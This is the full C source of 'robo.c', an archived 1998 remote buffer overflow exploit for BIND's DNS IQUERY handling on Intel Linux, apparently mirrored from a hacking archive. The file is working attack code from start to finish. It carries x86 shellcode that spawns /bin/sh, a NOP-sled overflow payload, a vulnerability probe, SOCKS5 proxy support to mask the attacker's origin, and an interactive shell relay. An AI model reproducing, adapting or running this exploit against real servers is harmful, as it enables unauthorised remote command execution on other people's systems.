home *** CD-ROM | disk | FTP | other *** search
- /* robo.c
- *
- * remote buffer overflow for BIND running on Intel Linux
- *
- * nimrood 5.16.98
- *
- * [SOCKS proxy support by |GCC| 5.21.98 - shout to HackTec & -aS-]
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <signal.h>
- #include <unistd.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netdb.h>
- #include <arpa/inet.h>
- #include <arpa/nameser.h>
-
- #define RETADDR 0xbffffe00
- #define RETADDRSZ 4
- #define NOP 0x90
- #define BUFSZ 1533
- #define PKTSZ 4096
-
- char x86[] =
- "\x83\xec\x7f\x89\xe5\x83\xec\x0c\xeb\x54\x31\xc0\x89\xc2\x89"
- "\xc3\x89\x45\x00\x40\x89\x45\xfc\x40\x89\x45\xf8\x89\xe9\x83"
- "\xe9\x08\x43\xb0\x66\xcd\x80\x48\x89\xc3\x89\xd1\xb0\x3f\xcd"
- "\x80\x41\x89\xd0\xb0\x3f\xcd\x80\x41\x89\xd0\xb0\x3f\xcd\x80"
- "\x89\xd0\x5e\x56\x5b\x89\x75\xf8\x83\xc6\x08\x89\x75\xfc\x83"
- "\xc6\x03\x89\x45\x00\xb0\x0b\x89\xe9\x83\xe9\x08\xcd\x80\x31"
- "\xc0\x40\xcd\x80\xe8\xa7\xff\xff\xff/bin/sh\x00-i";
-
- /* mkdnsiquery --
- * builds a dns inverse query packet
- * returns the size of the result or -1 on an error
- */
- int mkdnsiquery(const char *data, int dlen, u_char *buf, int blen)
- {
- register HEADER *dnshdr;
- register u_char *cp;
- register int n;
-
- /* do we have enough room for dns header? if so, initialize the header */
- if((buf == NULL) || (blen < HFIXEDSZ))
- return(-1);
-
- memset(buf, 0, HFIXEDSZ);
- dnshdr = (HEADER *) buf;
- dnshdr->id = htons(getpid());
- dnshdr->opcode = IQUERY;
- dnshdr->rcode = NOERROR;
- cp = buf + HFIXEDSZ;
-
- /* make the answer record */
- if((data == NULL) || (dlen < 1) || (blen <= dlen))
- return(-1);
-
- *(cp++) = '\0'; /* domain name is NULL for iquery */
- PUTSHORT(T_A, cp);
- PUTSHORT(C_IN, cp);
- PUTLONG(31337, cp); /* time to live */
- PUTSHORT(dlen, cp); /* length of data */
- memcpy(cp, data, dlen);
- cp += dlen;
- dnshdr->ancount = htons(1);
- return(cp - buf);
- }
-
- /* resolv --
- * lets try some spiffy hostname lookups
- * exit program on error
- */
- u_long resolv(char *host)
- {
- struct hostent *lu;
- u_long addr = inet_addr(host);
-
- if(addr == -1 )
- {
- lu = gethostbyname(host);
- if((lu == NULL) || (lu->h_name == NULL) || (lu->h_addr_list == NULL))
- {
- printf("unable to resolve %s\n", host);
- exit(-1);
- }
- memcpy(&(addr), *(lu->h_addr_list), sizeof(lu->h_addr_list));
- }
- return(addr);
- }
-
- /* mkevildata --
- * formats data for dns packet to cause buffer overflow and execute commands.
- */
- int mkevildata(char *buf, long offset)
- {
- char *cp;
-
- cp = buf;
- memset(cp, NOP, BUFSZ);
- cp += BUFSZ - sizeof(x86);
- memcpy(cp, x86, sizeof(x86));
- cp += sizeof(x86);
- offset = RETADDR - offset;
- *(long *)cp = offset;
- cp += RETADDRSZ;
- return(cp - buf);
- }
-
- /* timeout --
- * signal handler for timing out on tcp nameserver connect
- * program exits if generated.
- */
- void timeout(int signum)
- {
- signal(SIGALRM, SIG_DFL);
- printf("connection timed out.\n");
- exit(-1);
- }
-
- /* main --
- * it all starts here baby
- */
- int main(int argc, char *argv[])
- {
- HEADER *dns;
- struct sockaddr_in to;
- struct timeval tval;
- fd_set ioset;
- char spkt[PKTSZ], rpkt[PKTSZ];
- int sd, dlen, pktlen, *cp;
- long offset = 2000;
- char robo[2], *roboptr, dat;
- unsigned char wingate[64] = "", wingate_buff[256];
- int use_wingate = 0;
- u_long addr;
-
- printf("robo - dns IQUERY remote buffer overflow for intel linux\nnimrood 5.16.98\n");
- if(argc < 2 || argc > 4)
- {
- printf("usage: %s <host> [offset [proxy]]\n", argv[0]);
- exit(-1);
- }
-
- if(argc >= 3)
- offset = atoi(argv[2]);
-
- if(argc == 4)
- {
- strncpy(wingate, argv[3], (size_t)64);
- use_wingate = 1;
- }
-
- to.sin_family = AF_INET;
-
- if (use_wingate)
- {
- to.sin_port = htons(1080); // SOCKS port
- to.sin_addr.s_addr = resolv(wingate);
- }
- else
- {
- to.sin_port = htons(53); // Direct connection DNS port
- to.sin_addr.s_addr = resolv(argv[1]);
- }
-
- if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- {
- perror("can't get socket");
- exit(-1);
- }
-
- if (use_wingate)
- {
- printf("connecting to SOCKS 5 proxy...");
- fflush(stdout);
-
- signal(SIGALRM, timeout);
- alarm(10);
- if (connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
- {
- perror("connection refused");
- exit(-1);
- }
- alarm(0);
- printf("connected\n");
- fflush(stdout);
-
- printf("authenticating to SOCKS proxy...");
- fflush(stdout);
- /* snprintf(wingate_buff, 256, "%s 53\r", argv[1]); */
- /* pktlen = strlen(wingate_buff); */
- /* if (write(sd, wingate_buff, pktlen) != pktlen) { */
- /* perror("write failed"); */
- /* exit(-1); */
- /* } */
-
- pktlen=3;
- wingate_buff[0]=0x5; // SOCKS version 5
- wingate_buff[1]=0x1; // we only support one authentication type...
- wingate_buff[2]=0x0; // ...no authentication ;)
-
- if (write(sd, wingate_buff, pktlen)!=pktlen)
- {
- perror("write error");
- exit(-1);
- }
- if (read(sd, wingate_buff, 2)!=2)
- {
- perror("read error");
- exit(-1);
- }
- if (wingate_buff[0] != 0x5)
- {
- printf("invalid response (probably not a SOCKS 5 proxy)\n");
- exit(-1);
- }
- if (wingate_buff[1] == 0xFF)
- {
- printf("proxy requires authentication (oops!)\n");
- exit(-1);
- }
- if (wingate_buff[1] != 0x0)
- {
- printf("proxy returned an invalid authentication type\n");
- exit(-1);
- }
-
- printf("done\n");
- printf("sending connection request...");
- fflush(stdout);
-
- /*
- * set up connection request packet in wingate_buff
- [2000]*/
-
- pktlen = strlen(argv[1]); // for convenience & efficiency; fix it later
- wingate_buff[1]=0x1; // request to CONNECT
- wingate_buff[2]=0x0; // reserved
- /*
- * Most proxies don't seem to support domain names when specifying target
- * address, even though it's in the standard. So we have to resolve it
- * ourselves (bah!)
- *
- * wingate_buff[3]=0x3; // the address is a domain name in text format
- * wingate_buff[4]=(unsigned char)pktlen; // had better not be > 255 ;)
- * memcpy(wingate_buff+5, argv[1], pktlen);
- * *((u_int)(wingate_buff+pktlen+5)) = htons(53);
- * // connect to target on DNS port
- * pktlen+=7; // fix the packet length
- *
- [2000]*/
-
- wingate_buff[3]=0x1; // the address is in IPv4 format
- addr = resolv(argv[1]);
- wingate_buff[7] = (addr & 0xFF000000) >> 24;
- wingate_buff[6] = (addr & 0x00FF0000) >> 16;
- wingate_buff[5] = (addr & 0x0000FF00) >> 8;
- wingate_buff[4] = addr & 0xFF;
- *((u_int *)(wingate_buff+8)) = htons(53); // connect to target on DNS port
- pktlen = 10;
-
- if (write(sd, wingate_buff, pktlen)!=pktlen)
- {
- perror("write error");
- exit(-1);
- }
-
- /*
- * get the server's response...
- [2000]*/
-
- if (read(sd, wingate_buff, 4)!=4)
- {
- perror("read error (1)");
- exit(-1);
- }
-
- switch(wingate_buff[1])
- {
- case 0:
- printf("connected\n");
- break;
- case 1:
- printf("general SOCKS server failure\n");
- exit(-1);
- case 2:
- printf("connection to this target is not allowed\n");
- exit(-1);
- case 3:
- printf("target's network is unreachable\n");
- exit(-1);
- case 4:
- printf("target host is unreachable\n");
- exit(-1);
- case 5:
- printf("connection refused by target\n");
- exit(-1);
- case 6:
- printf("TTL expired (probable router loop)\n");
- exit(-1);
- case 7:
- printf("command not supported (?)\n");
- exit(-1);
- case 8:
- printf("address type (IPv4) not supported\n");
- exit(-1);
- default:
- printf("returned unknown error code\n");
- exit(-1);
- }
-
- // server responded OK, read the host/port part of the reply and dump it
-
- switch(wingate_buff[3])
- {
- case 1: // hostname is in IPv4 format...
- if (read(sd, wingate_buff+4, 6) != 6)
- {
- perror("read error");
- exit(-1);
- }
- break;
- case 3: // hostname as text
- if (read(sd, wingate_buff+4, 1)!=1)
- {
- perror("read error");
- exit(-1);
- }
-
- pktlen = wingate_buff[4];
- // 5th byte of reply contains length of returned hostname
-
- if (read(sd, wingate_buff+5, pktlen+2) != pktlen+2)
- {
- perror("read error");
- exit(-1);
- }
-
- break;
- default:
- printf("proxy returned neither an IPv4 address nor domain name\n");
- // This wouldn't be critical, except that we need to be able to read
- // the rest of the reply, so the buffer is clear when we talk to the
- // nameserver. And we can't do that unless we know how big the address is
-
- exit(-1);
- }
-
- // Right, now we're talking to our nameserver =)
-
- }
-
- else
- {
- printf("connecting...");
- fflush(stdout);
-
- signal(SIGALRM, timeout);
- alarm(10);
- if(connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
- {
- perror("connection failed");
- exit(-1);
- }
- alarm(0);
- printf("connected.\n");
- fflush(stdout);
- }
-
- printf("testing for vulnerability...");
- fflush(stdout);
-
- /* use 5 bytes intead of 4 to test for the hole. if a server is answering
- * IQUERY packets, but is patched, it should return a non-zero error. This
- * will prevent trying to exploit a patched server answering IQUERY packets.
- * From looking at the named patches, if the data value is != to 4 bytes, then
- * a refuse error is sent back (rcode==5).
- */
- pktlen = mkdnsiquery(rpkt, 5, spkt, PKTSZ);
- roboptr = robo;
- PUTSHORT(pktlen, roboptr);
- if(write(sd, robo, 2) !=2 || write (sd, spkt, pktlen) != pktlen)
- {
- perror("write failed");
- exit(-1);
- }
- roboptr = robo;
- if(read(sd, robo, 2) != 2)
- {
- perror("read failed");
- exit(-1);
- }
- GETSHORT(pktlen, roboptr);
- if(read(sd, rpkt, pktlen) != pktlen)
- {
- perror("read failed");
- exit(-1);
- }
- dns = (HEADER *)rpkt;
- if(dns->rcode)
- {
- printf("not vulnerable. response code = %i\n", dns->rcode);
- close(sd);
- exit(0);
- }
- printf("vulnerable.\n");
-
- dlen = mkevildata(rpkt, offset);
- pktlen = mkdnsiquery(rpkt, dlen, spkt, PKTSZ);
- printf("sending exploit code...");
-
- roboptr = robo;
- PUTSHORT(pktlen, roboptr);
- if(write(sd, robo, 2) != 2 || write(sd, spkt, pktlen) != pktlen)
- {
- perror("write failed");
- exit(-1);
- }
- printf("%i bytes sent.\n", pktlen);
- fflush(stdout);
- sleep(2);
-
- while(1)
- {
- tval.tv_usec = 0;
- tval.tv_sec = 10;
- FD_ZERO(&ioset);
- FD_SET(sd, &ioset);
- FD_SET(0, &ioset);
- if(select(sd+1, &ioset, NULL, NULL, &tval) < 0)
- break;
- if(FD_ISSET(sd, &ioset))
- {
- pktlen = read(sd, rpkt, PKTSZ);
- if(pktlen < 0 || write(2, rpkt, pktlen) < 0)
- break;
- }
- if(FD_ISSET(0, &ioset))
- {
- dlen = read(0, spkt, PKTSZ);
- if(dlen < 0 || write(sd, spkt, dlen) < 0)
- break;
- }
-
- tval.tv_usec = 100;
- tval.tv_sec = 0;
- if(select(0, NULL, NULL, NULL, &tval))
- break;
- }
- printf("\nconnection lost.\n");
- close(sd);
- }
- /* www.hack.co.za [2000]*/